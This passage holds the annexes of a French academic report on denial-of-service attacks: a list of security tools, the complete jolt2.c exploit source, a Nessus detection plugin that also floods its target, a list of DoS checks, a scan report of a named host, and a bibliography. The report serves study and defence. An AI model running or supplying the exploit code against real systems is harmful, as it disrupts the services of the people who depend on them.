Enfin, j´espère bien que ce rapport serve d´aide aux personnes
intéressées en ce sujet.
Page
26
DDoS
7. Annexes
7.1. Outils de sécurité.
SATAN (Security Administrator Tool for Analyzing Networks)
Catégorie: scan
http://rootshell.com/docs/satan-1.1.1.tar.gz
ISS (Internet Security Scanner)
Catégorie: scan
http://www.iss.net/release
Saint (es un scanner)
Catégorie: scan
Saint est un logiciels free, qui découle de SATAN.
Argus
Catégorie: Outil de surveillance réseau
Caractéristiques: audit de réseaux, détection d´intrusion
ftp://ftp.net.cmu.edu/pub/argus-1.5/
TCP/IP wrapper program
Catégorie : outil de filtrage
Caractéristiques : permis d´accès réseau, information d'enregistrement de
réseau
ftp://info.cert.org/pub/tools/tcp_wrappers/
Tripwire
Catégorie: Outil d´intégrité
Caractéristiques: vérification de fichiers et répertoires, détection d´intrusion
ftp://info.cert.org/pub/tools/tripwire/
MD5
Catégorie: Outil d´intégrité
Caractéristiques: calcul de checksum, détection d´intrusion
ftp://info.cert.org/pub/tools/md5/
LOPHT
Catégorie: détecteur de sniffers
http://www.l0pht.com/
Netsonar
Catégorie: scan
http://www.cisco.com/public/sw-center/internet/netsonar.shtml
Page
27
DDoS
Check Point RealSecure
Catégorie: scan
Caractéristiques : DoS, IDS
http://www.checkpoint.com/products/firewall-1/rsid.html
QualysGuard
Catégorie: outil d´audit
Caractéristiques: détection d´intrus
http://www.qualys.com/index.htm
Swatch
Catégorie: Outil de surveillance réseau
Caractéristiques: filtrage, information d'enregistrement de réseau
NetRanger intrusion detection system
Catégorie: outil de détection d´intrusion
http://www.cisco.com/univercd/cc/td/doc/pcat/nerg.htm
ProWatch Secure monitoring service
Catégorie: Outil de surveillance réseau
http://www.netsolve.com/prowatch/
Snort
Catégorie: outil de détection d´intrusion
http://www.snort.org/
Page
28
DDoS
7.2. jolt2.c
/*
* File: jolt2.c
* Author: Phonix <[email protected]>
* Date: 23-May-00
*
* Description: This is the proof-of-concept code for the
* Windows denial-of-serice attack described by
* the Razor team (NTBugtraq, 19-May-00)
* (MS00-029). This code causes cpu utilization
* to go to 100%.
*
* Tested against: Win98; NT4/SP5,6; Win2K
*
* Written for: My Linux box. YMMV. Deal with it.
*
* Thanks: This is standard code. Ripped from lots of places.
* Insert your name here if you think you wrote some of
* it. It's a trivial exploit, so I won't take credit
* for anything except putting this file together.
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>
struct _pkt
{
struct iphdr ip;
union {
struct icmphdr icmp;
struct udphdr udp;
} proto;
char data;
} pkt;
int icmplen = sizeof(struct icmphdr),
udplen = sizeof(struct udphdr),
iplen = sizeof(struct iphdr),
spf_sck;
void usage(char *pname)
{
fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
pname);
fprintf (stderr, "Note: UDP used if a port is specified, otherwise
ICMP\n");
Page
exit(0);
29
DDoS
}
u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname(host_name);
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}
void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
int bs, psize;
unsigned long x;
struct sockaddr_in to;
to.sin_family = AF_INET;
to.sin_port = 1235;
to.sin_addr.s_addr = dst_addr;
if (port)
psize = iplen + udplen + 1;
else
psize = iplen + icmplen + 1;
memset(&pkt, 0, psize);
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (8190);
if (port)
{
pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a';
} else {
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0;
pkt.proto.icmp.checksum = 0;
}
Page
30
DDoS
while (1) {
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
}
return bs;
}
int main(int argc, char *argv[])
{
u_long src_addr, dst_addr;
int i, bs=1, port=0;
char hostname[32];
if (argc < 2)
usage (argv[0]);
gethostname (hostname, 32);
src_addr = host_to_ip(hostname);
while ((i = getopt (argc, argv, "s:p:h")) != EOF)
{
switch (i)
{
case 's':
dst_addr = host_to_ip(optarg);
if (!dst_addr)
quit("Bad source address given.");
break;
case 'p':
port = atoi(optarg);
if ((port <=0) || (port > 65535))
quit ("Invalid port number given.");
break;
case 'h':
default:
usage (argv[0]);
}
}
dst_addr = host_to_ip(argv[argc-1]);
if (!dst_addr)
quit("Bad destination address given.");
spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");
do_frags (spf_sck, src_addr, dst_addr, port);
}
Page
31
DDoS
7.3. Plugins
Ils sont nombreux les essais qu´on a fait pour la détection de l´attaque
jolt2.c. Voici un exemple:
#
# Détection de l´attaque jolt2.c
#
if(description)
{
script_id(00022);
name["english"] = "jolt2DoS";
name["francais"] = " jolt2DoS ";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
This plugin detect
if the target can be reach
by the program jolt2.c";
desc["francais"] = "
Ce plugin détecte si la cible
peut être affectée
par le programme jolt2.c ";
script_description(english:desc["english"], francais:desc["francais"]);
script_category(ACT_DENIAL);
family["english"] = "denial of service";
family["francais"] = "déni de service";
script_family(english:family["english"], francais:family["francais"]);
exit(0);
}
#
# The script code starts here
#
target = get_host_ip();
src = this_host();
############## PAQUET IP ################
ip = forge_ip_packet(ip_hl:5,
ip_v:4,
ip_tos:0,
ip_len:28,
ip_id:0x455,
ip_off:8190,
ip_ttl:255,
ip_p:IPPROTO_ICMP,
ip_src:src,
ip_dst:target);
############## PAQUET ICMP ##################
icmp = forge_icmp_packet(ip:ip,
Page
32
DDoS
icmp_type:8,
icmp_code:0,
icmp_cksum:0,
icmp_seq:0,
icmp_id:0);
############## ENVOI DU PAQUET et ATTENTE DE REPONSE ################
while(1){
reply = send_packet(icmp,pcap_active:TRUE);
if(!reply){
security_hole(port);
set_kb_item(name:"Host/dead", value:TRUE);
}
}
N.B.: Normalement, les détections d´attaque se font de cette façon, mais dans
ce cas c´est incorrect parce que :
• la cible a le temps de se remettre.
• Cette détection n´est pas très bonne parce que peut-être il y e d´ordinateurs
qui ne sont pas configurés pour répondre à ces types de paquets
• nous attendons à recevoir la réponse. Avec l´utilisation de librairies pcap on
économiserait ce temps d´attente.
Page
33
DDoS
7.4. Attaques de déni de service détectés par Nessus.
syn flood" attack
e-mail_bombing_spamming
anonymous_ftp_config
ping
ICMP Storm aka Smurf attack
Statistical Attack
Teardrop
UDP null size going to SNMP DoS
smad
Oracle Web Server denial of Service
pimp
Nortel Contivity DoS
OShare
Nestea
Linux 2.1.89 - 2.2.3 : 0 length fragment bug
Wingate denial of service
Winnuke
NT IIS Malformed HTTP Request Header DoS Vulnerability
IIS Malformed Extension Data in URL
Land
IIS "GET ../../"
Firewall/1 UDP port 0 DoS
Bonk
ICQ Denial of Service attack
Axent Raptor"s DoS
GroupWise buffer overflow
SalesLogix Eviewer WebApp crash
+ + + ATH0 modem hangup
Eicon Diehl LAN ISDN modem DoS
Ascend Kill
Domino HTTP Denial
cisco http DoS
SunKill
Annex DoS
AnalogX denial of service
SLMail denial of service
rfpoison
Livingston Portmaster crash
Notes MTA denial
MDaemon DoS
Wingate POP3 USER overflow
rfparalyze
IIS FTP server crash
Hyperbomb
MDaemon crash
Cassandra NNTP Server DoS
FTP ServU CWD overflow
Interscan 3.32 SMTP Denial
BFTelnet DoS
Chameleon SMTPd overflow
Microsoft"s SQL TCP/IP denial of service
Novell Border Manager
WindowsNT DNS flood denial
Ken! DoS
RealServer denial of Service
RealServer Ramgen crash (ramcrash)
Page
34
DDoS
SLMail:27 denial of service
WINS UDP flood denial
Netscape Enterprise Server DoS
Mercure WebView WebClient
WindowsNT PPTP flood denial
Microsoft Media Server 4.1 - DoS
MDaemon Worldclient crash
MDaemon Webconfig crash
Yahoo Messenger Denial of Service attack
pnserver crash
iParty
Cisco DoS
HotSync Manager Denial of Service attack
Page
35
DDoS
7.5. Nessus Scan Report.
Number of hosts which were alive during the test : 1
Number of security holes found : 2
Number of security warnings found : 13
List of the tested hosts :
172.16.20.187(Security problems found)
172.16.20.187 :
List of open ports :
general/udp
general/tcp
netbios-ns (137/udp)
unknown (780/udp) (Security hole found)
smtp (25/tcp) (Security hole found)
www (80/tcp)
telnet (23/tcp)
ftp (21/tcp)
ntalk (518/udp)
general/icmp
ssh (22/tcp)
Information found on port general/udp
For your information, here is the traceroute to 172.16.20.187 :
172.16.20.187
Information found on port general/tcp
Predictable TCP sequence number :
If numbers are close together, or rise by the same number all the time,
it means that it is easy to predict the next sequence number that will
be used by the computer (since these aren't randomized enough).
This may help attackers with several other attacks, such as Session
Hijacking or with Session Spoofing, where in those cases the attacker
needs to predict certain charactistics of the attacked computer.
The TCP sequence numbers retrieved and their relative size were:
SEQ: 3749056312
SEQ: 3749060627 relative size: 4315
SEQ: 3749071969 relative size: 11342
SEQ: 3749080674 relative size: 8705
SEQ: 3749085664 relative size: 4990
SEQ: 3749089626 relative size: 3962
SEQ: 3749093771 relative size: 4145
SEQ: 3749097854 relative size: 4083
SEQ: 3749101984 relative size: 4130
SEQ: 3749106412 relative size: 4428
Page
36
DDoS
CVE : CVE-1999-0077
Information found on port general/tcp
If numbers are close together, or rise by the same number all the time,
it means that the amount of traffic can be predicted by monitoring
changes in the idetification numbers (since these aren't randomized
enough).
This may help attackers with several other attacks, such as Session
Hijacking or with Session Spoofing, where in those cases the attacker
needs to predict certain charactistics of the attacked computer (such
as traffic size).
The IP Identification numbers retrieved and their relative size were:
ID: 9902
ID: 9903 relative size: 1
ID: 9904 relative size: 1
ID: 9905 relative size: 1
ID: 9906 relative size: 1
ID: 9907 relative size: 1
ID: 9908 relative size: 1
ID: 9909 relative size: 1
ID: 9910 relative size: 1
ID: 9911 relative size: 1
Information found on port netbios-ns (137/udp)
. The following 5 NetBIOS names have been gathered :
LOIF = This is the computer name registered for workstation services by a WINS client.
LOIF = Computer name that is registered for the messenger service on a computer that is a
WINS client.
LOIF
GERBOWORLD = Workgroup / Domain name
GERBOWORLD
. This SMB server seems to be a SAMBA server (this is not a security
risk, this is for your information). This can be told because this server
claims to have a null MAC address
If you do not want to allow everyone to find the NetBios name
of your computer, you should filter incoming traffic to this port.
Risk factor : Medium
Vulnerability found on port unknown (780/udp)
The statd RPC service is running.
This service has a long history of
security holes, so you should really
know what you are doing if you decide
to let it run.
Page
37
DDoS
* NO SECURITY HOLE REGARDING THIS
PROGRAM HAVE BEEN TESTED, SO
THIS MIGHT BE A FALSE POSITIVE *
We suggest you to disable this
service.
Risk factor : High
CVE : CVE-1999-0018
Vulnerability found on port smtp (25/tcp)
It was possible to crash the remote SMTP server
by opening a great amount of sockets on it.
This problem allows crackers to make your
SMTP server crash, thus preventing you
from sending or receiving e-mails, which
will affect your work.
Solution : contact your vendor for a fix.
Risk factor : Serious
CVE : CAN-1999-0846
Information found on port smtp (25/tcp)
loif.maisel.enst-bretagne.fr ESMTP Exim 3.12 #1 Thu, 08 Jun 2000 11:47:55 +0200
214-Commands supported:214- HELO EHLO MAIL RCPT DATA AUTH
214 NOOP QUIT RSET HELP
Information found on port www (80/tcp)
The remote web server type is :
Apache/1.3.12 (Unix) Debian/GNU
We recommend that you configure your web server to return
bogus versions, so that it makes the cracker job more difficult
Information found on port telnet (23/tcp)
loif.maisel.enst-bretagne.fr login:
Information found on port telnet (23/tcp)
The Telnet service is running.
This service is dangerous in the sense that
it is not ciphered - that is, everyone can sniff
Page
38
DDoS
the data that passes between the telnet client
and the telnet server. This includes logins
and passwords.
You should disable this service and use OpenSSH instead.
(www.openssh.com)
Solution : Comment out the 'telnet' line in /etc/inetd.conf.
Risk factor : Low
CVE : CAN-1999-0619
Information found on port ftp (21/tcp)
ProFTPD 1.2.0pre10 Server (ProFTPD) [loif.maisel.enst-bretagne.fr]
Information found on port ntalk (518/udp)
talkd is running (talkd is the server that notifies a user
that someone else wants to initiate a conversation)
Malicious hackers may use it to abuse legitimate
users by conversing with them with a false identity
(social engineering).
In addition to this, crackers may use this service
to execute arbitrary code on your system.
Solution: Disable talkd access from the network by adding the
approriate rule on your firewall. If you do not
need talkd, comment out the relevant line in /etc/inetd.conf.
See aditional information regarding the dangers of keeping
this port open:
http://www.cert.org/advisories/CA-97.04.talkd.html
Risk factor : Medium
CVE : CVE-1999-0048
Information found on port ntalk (518/udp)
talkd protocol version: 1
CVE : CVE-1999-0048
Information found on port general/icmp
The remote host answers to an ICMP timestamp
request. This allows an attacker to know the
date which is set on your machine.
This may help him to defeat all your
time based authentifications protocols.
Page
39
DDoS
Solution : filter out the icmp timestamp
requests (13), and the outgoing icmp
timestamp replies (14).
Risk factor : Low
CVE : CAN-1999-0524
Information found on port ssh (22/tcp)
SSH-1.5-1.2.26
Page
40
DDoS
7.6. Acronymes.
CERT/CC
CERT
DSIT
IRT
ISP
NCCS
NSP
IMAP
IDS
chargen
RFC
IETF
rcp
RPC
NIPC
STAU
PSIRT
ISS
SATAN
ISS
GIMP
GNU
GTK
FSF
GPL
SEI
DARPA
TFN
ZZ
FBI
IRT
CSIRT
NASL
Page
CERT Coordination Center
Computer Emergency Response Team
Distributed - Systems Intruder Tools
Incident Reponse Teams
Internet Service Provider
National Computer Crime Squad
Network Security Probe
Internet Message Access Protocol
Intrusion Detection Systems
character generator
Request For Comment
The Internet Engineering Task Force
Remote copy command
Remote procedure call
National Infrastructure Proctection Center
Special Technology Applications Unit
Product Security Incident Response Team
Internet Scanner
Security Administrator Tool for Analyzing Networks
Internet Security Scanner
GNU Image Manipulation Program
GNU's Not Unix
GIMP Toolkit
Free Software Foundation
GNU General Public License
Software Engineering Institute
Defense Advanced Research Projects Agency
tribe flood network (=teletubbie flood net)
Zombie Zapper
Federal Bureau of Investigation
Incident Reponse Team
Computer Security Incident Reponse Team
Nessus Attack Scripting Language
41
DDoS
8. Bibliographie.
Results of the Distributed Systems Intruder Tools Workshop
Description: DDoS
URL: http://www.cert.org/reports/dsit_workshop-final.html
Denial of service
Description: DoS
URL: http://www.cert.org/ftp/tech_tips/denial_of_service
Whitehats Sitemap
Description: sécurité, outils, librairies, forum, services, DDoS …
URL: http://whitehats.com/ids/
denial-of-service-tools
Description: DoS
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html
Identifying tools that aid in detecting signs of intrusion
Description : outils de défense
http://www.cert.org/security-improvement/implementations/i042.07.html
CERT® Summaries
Description : Rapports d´attaques
http://www.cert.org/summaries/index.html
Technotronic
Description : Information sécurité, outils
http://www.technotronic.com/
Distributed Denial of Service Attacks
Description : article
http://www.networkmagazine.com/ddos_special.htm
Trinoo
Description : analysis
http://staff.washington.edu/dittrich/misc/trinoo.analysis
TFN
Description : analysis
ttp://staff.washington.edu/dittrich/misc/tfn.analysis,
Stacheldraht
Description : analysis
ttp://staff.washington.edu/dittrich/misc/tfn.analysis,
Page
42
DDoS
Code source des attaques distribuées tfn2k.tgz tfn.tgz trinoo.tgz
http://www.technotronic.com/denial.html
Exploit des attaques de déni de service
http://rootshell.com/search.fcg
Security focus
Description: IDS, services et rapports
http://www.securityfocus.com/
CVE
http://cve.mitre.org/about/
Journales
Description : Magazines
http://www.deadly.org/
http://www.zdnet.fr/actu/
http://www.journalinformatique.com/
http://france.internet.com/
Info Security Asia
Description : conferences
http://www.info-security.com.sg/main.htm
HNC Network
Description : IT & security news, archives hacking utilities
http://www.hack-net.com/texts/sping.txt
mstream
Description : DDoS
http://www.cert.org/incident_notes/IN-2000-05.html
service.exe
Description : DDoS
http://www.cert.org/incident_notes/IN-2000-01.html
Page
43